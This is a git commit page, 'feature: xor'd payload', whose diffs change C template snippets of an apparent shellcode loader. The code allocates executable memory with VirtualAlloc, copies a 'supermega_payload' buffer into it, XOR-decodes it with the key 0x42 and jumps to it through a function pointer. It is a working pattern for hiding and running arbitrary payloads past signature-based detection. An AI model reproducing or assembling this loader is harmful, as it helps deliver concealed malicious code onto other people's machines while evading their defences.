feature: xor'd payload

This commit is contained in:
Dobin
2024-02-11 12:51:12 +00:00
parent 0753290fe6
commit 504f0206c7
7 changed files with 49 additions and 31 deletions
+1 -1
View File
@@ -1 +1 @@
char *dest = VirtualAlloc(NULL, 4096, 0x3000, 0x40);
char *dest = VirtualAlloc(NULL, 4096, 0x3000, 0x40);
+3 -3
View File
@@ -1,3 +1,3 @@
for(int n=0; n<11223344; n++) {
dest[n] = supermega_payload[n];
}
for (int n=0; n<11223344; n++) {
dest[n] = supermega_payload[n];
}
+4 -3
View File
@@ -1,3 +1,4 @@
for (i=0; i<11223344; i++){
dest[i] = supermega_payload[i] ^ 0x42;
}
for (int n=0; n<11223344; n++){
dest[n] = supermega_payload[n];
dest[n] = dest[n] ^ 0x42;
}
+1 -1
View File
@@ -1 +1 @@
(*(void(*)())(dest))();
(*(void(*)())(dest))();